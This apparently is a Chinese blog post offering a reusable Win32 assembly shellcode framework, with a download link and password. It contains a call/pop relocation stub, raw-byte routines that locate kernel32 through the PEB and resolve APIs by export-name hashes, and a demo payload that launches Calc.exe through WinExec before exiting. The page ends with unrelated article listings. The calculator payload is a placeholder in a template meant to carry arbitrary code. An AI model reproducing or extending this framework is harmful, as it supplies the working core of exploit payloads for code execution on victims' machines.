ShellCode框架(Win32ASM编写)
主要方法:
使用宏的一切技巧让编译器 算出代码的长度
有较好的扩充性
include ShellCodeCalc.inc ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; API Hash值
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;MessageBoxA 1E380A6Ah
;LoadLibraryA 0C917432h
;ExitProcess 4FD18963h
;WinExec 1A22F51h
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; ShellCode 模型介绍
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;........................................................
;解码ShellCode 长度未知
;JMP -> ShellCode
;........................................................
;GetKernelBase 长度已知
;........................................................
;GetPorcAddress 长度已知
;........................................................
;String 长度未知
;........................................................
; 可以变长的ShellCode
; 抬高栈顶, 获取函数指针
; 完成ShellCode功能
;........................................................
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; ShellCode 宏定义部分
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DECODE_LEN equ DeCodeEnd - DeCodeBegin ;解密代码的长度
ENCODE_LEN equ ShellCodeEnd - MyGetKernelBegin ;加密代码的长度
KERNEL_BASE_LEN equ MyGetKernelEnd - MyGetKernelBegin ;MyGetKernelBase代码长度
PROCADDR_LEN equ MyGetProcAddressEnd - MyGetProcAddressBegin ;GetProcAddress代码长度
SHELLCODE_LEN equ ShellCodeEnd - ShellCodeBegin ;ShellCode代码长度
STRING_LEN equ STRING_END - STRING_BEGIN ;字符串长度 dwGetKernelBase = DECODE_LEN - 5 ;GetKernelBase Offset
dwGetProcAddress = DECODE_LEN + KERNEL_BASE_LEN - 5 ;GetProcAddress Offset STACK_LEN equ 100 ;抬高栈顶的大小 dwKernelBase = 0h ;KernelBase偏移
fnWinExec = 4h ;fnWinExec偏移
hUser32 = 8h ;hUser32偏移
fnMessageBox = 0Ch ;MessageBox偏移
fnExitProcess = 10h ;ExitProcess偏移
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 解码部分
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DeCodeBegin:
;重定位
call GET_EIP_1
GET_EIP_1:
pop ebx ;解密代码[不能使用ebx寄存器]
;...... ;跳转到ShellCode开始
jmp ShellCodeBegin
DeCodeEnd:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; MyGetKernelBase
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
MyGetKernelBegin:
g_fn_GetKernelBase db 064h,0A1h,18h,00h,00h,00h,8Bh,40h,30h,8Bh,40h,0Ch,8Bh,40h,0Ch,8Bh,00h,8Bh,00h,8Bh,40h,18h,0C3h
MyGetKernelEnd:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; MyGetProcAddress
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
MyGetProcAddressBegin:
g_fn_GetProcAddress db 55h,8Bh,0ECh,56h,53h,51h,83h,7Dh,08h,00h,74h,6Bh,8Bh,75h
db 08h,03h,76h,3Ch,8Dh,76h,78h,8Bh,36h,03h,75h,08h,8Bh,5Eh
db 20h,03h,5Dh,08h,33h,0C9h,8Bh,04h,8Bh,03h,45h,08h,51h,8Bh
db 0D0h,33h,0C0h,8Ah,0Ah,84h,0C9h,74h,11h,0Fh,0BEh,0C9h,0C1h
db 0C8h,07h,83h,0C2h,01h,03h,0C1h,8Ah,0Ah,84h,0C9h,75h,0EFh
db 59h,3Bh,45h,0Ch,74h,06h,41h,3Bh,4Eh,18h,72h,0D2h,3Bh,4Eh,18h
db 73h,22h,8Bh,5Eh,24h,03h,5Dh,08h,0Fh,0B7h,04h,4Bh,3Bh,46h
db 14h,73h,13h,8Bh,5Eh,1Ch,03h,5Dh,08h,8Bh,04h,83h,03h,45h
db 08h,59h,5Bh,5Eh,0C9h,0C2h,08h,00h,33h,0C0h,59h,5Bh,5Eh
db 0C9h,0C2h,08h,00h
MyGetProcAddressEnd:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; String
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
STRING_BEGIN:
lpCmd db 'Calc.exe',0 CMD_LEN = STRING_END - lpCmd
lpszCmd = dwGetProcAddress + PROCADDR_LEN ;lpszUser32
STRING_END:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; ShellCode
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ShellCodeBegin:
;扩充栈空间 保存栈环境
sub esp,STACK_LEN
push ebp
mov ebp,esp ;得到Kernel32.dll的基地址
lea eax,[ebx + dwGetKernelBase]
call eax
or eax,eax
jz Exit_ShellCode
mov dword ptr [ebp + dwKernelBase],eax ;遍历导出表 得到WinExec地址
push 1A22F51h
push dword ptr [ebp + dwKernelBase]
lea eax,[ebx + dwGetProcAddress]
call eax
or eax,eax
jz Exit_ShellCode
mov dword ptr [ebp + fnWinExec],eax ;弹出计算器
push SW_SHOWNORMAL
lea eax,[ebx + lpszCmd]
push eax
call dword ptr [ebp + fnWinExec] Exit_ShellCode:
;获取ExitProcess函数地址
push 4FD18963h
push dword ptr [ebp + dwKernelBase]
lea eax,[ebx + dwGetProcAddress]
call eax
or eax,eax
jz ShellCodeEnd
mov dword ptr [ebp + fnExitProcess],eax ;调用ExitProcess
push NULL
call dword ptr [ebp + fnExitProcess] ShellCodeEnd:
nop
nop
nop
nop
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; End
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ShowLen proc ;测试长度
invoke crt_printf,L("Decode Len:",9h,"%d",0ah,0dh),DECODE_LEN
invoke crt_printf,L("Encode Len:",9h,"%d",0ah,0dh),ENCODE_LEN
invoke crt_printf,L("GetKernelBase Len:",9h,"%d",0ah,0dh),KERNEL_BASE_LEN
invoke crt_printf,L("GetProcAddress Len:",9h,"%d",0ah,0dh),PROCADDR_LEN
invoke crt_printf,L("ShellCode Len:",9h,"%d",0ah,0dh),SHELLCODE_LEN ret ShowLen endp main proc ;invoke ShowLen
jmp DeCodeBegin main endp end main
代码下载地址:
链接:http://pan.baidu.com/s/1bnGlW1T 密码:o9m7
ShellCode框架(Win32ASM编写)的更多相关文章
- 分别在.NET Framework 与 .NET Core 框架下 编写Windows Service(windows服务程序)
前言,为什么会分别在两个框架下编写Windows Service,是因为最近在做区块链这块,使用的是NEO(小蚁区块链)的相关技术,NEO使用的是.net core 2.1,业务上需要写两个程序,一个 ...
- 2015年3月26日 - Javascript MVC 框架DerbyJS DerbyJS 是一个 MVC 框架,帮助编写实时,交互的应用。
2015年3月26日 - Javascript MVC 框架DerbyJS DerbyJS 是一个 MVC 框架,帮助编写实时,交互的应用.
- javascript中的动画的实现以及运动框架的编写(1)
大家知道js可以做出好多很漂亮的动画,看上去很神奇,其实原理很简单,今天就讨论一下js动画的实现以及如何编写可以反复重用的运动框架. 首先做一个简单的例子,我这里有一个长50px 宽20px的长条形d ...
- 设计一个JavaScript框架需要编写哪些模块
在这个js框架随处乱跑的时代,你是否考虑过写一个自己的框架?下面的内容也许会有点帮助. 一个框架应该包含哪些内容? 1. 语言扩展 大部分现有的框架都提供了这部分内容,语言扩展应当是以ECMAScri ...
- 10.4 android输入系统_框架、编写一个万能模拟输入驱动程序、reader/dispatcher线程启动过程源码分析
1. 输入系统框架 android输入系统官方文档 // 需FQhttp://source.android.com/devices/input/index.html <深入理解Android 卷 ...
- flask框架~简易编写
flaks框架: 先导报 from flask import Flask 重定向模块:redirect url_for是简易寻址跳转 jsonify强转为json格式 建立flask对象:app = ...
- 基于OpenGL编写一个简易的2D渲染框架-06 编写一个粒子系统
在这篇文章中,我将详细说明如何编写一个简易的粒子系统. 粒子系统可以模拟许多效果,下图便是这次的粒子系统的显示效果.为了方便演示,就弄成了一个动图. 图中,同时显示了 7 种不同粒子效果,看上去效果挺 ...
- 对5月13号中BaseDao方法进行优化改造,更接近于框架的编写
/* * 通用查询.更新升级版 * */ public class BaseDao2 { static { try { Class.forName(ConfigUtil.getValue(" ...
- hibernate与Struts框架结合编写简单针对修改练习
失败页面fail.jsp <%@ page language="java" contentType="text/html; charset=UTF-8" ...
随机推荐
- Ankh不起作用的解决方法
请检查Visual Studio 2008的Tool > Options... > Source Control,在下拉菜单中选择插件.
- MVC5的AuthorizeAttribute详解
现今大多数的网站尤其是购物网站都要求你登录后才能继续操作,当你匿名的将商品放入购物车后,不可能匿名购买这时可以转到登录界面让用户进行登录验证. 适用系统自带的过滤器 MVC5只要将属性[Authori ...
- Spring系列之基本配置
一.概述Spring是一个轻量级的Java开源框架,是为了简化企业级系统开发而诞生的.Spring的核心是控制反转(IOC)和面向切面编程(AOP).主要有以下几个特点:(1)轻量:从大小和开销两方面 ...
- javascript Date 总结
构造函数 Date 对象的构造函数有以下4种: (1)var variable = new Date(); (2)var variable = new Date(millisenconds); (3) ...
- gradle 的sourceCompatibility 与 targetCompatibility 区别
sourceCompatibility:指定编译编译.java文件的jdk版本 targetCompatibility:确保class文件与targetCompatibility指定版本,或者更新的j ...
- 由Collections.unmodifiableList引发的重构
原文 http://www.cnblogs.com/persist-confident/p/4516741.html 今天阅读源码的时候,无意中看到了Collections.unmodifiable ...
- [MongoDB]对数组操作
摘要 在实际开发中遇到更新某个document中的数组的值,这里做一下记录. 这里使用的驱动为 using MongoDB.Bson;using MongoDB.Driver; 相关文章 [Mongo ...
- php对uploads文件的处理问题的解决
解决uploads问题的要点有几点: 参考这篇文章 第一, 在php.ini文件中, 有file_uploads这一节 file_uploads = On ;是否开启文件上传功能, 该功能有很大的安全 ...
- Hadoop集群搭建
配置IP,修改主机名,关闭防火墙,配置SSH免密码登录
- php正则表达式匹配用户名规则:由字母开头的6-16位字母和数字组成的字符串
$pattern = '/^[a-zA-Z]{1}[a-zA-Z0-9]{5,15}$/i';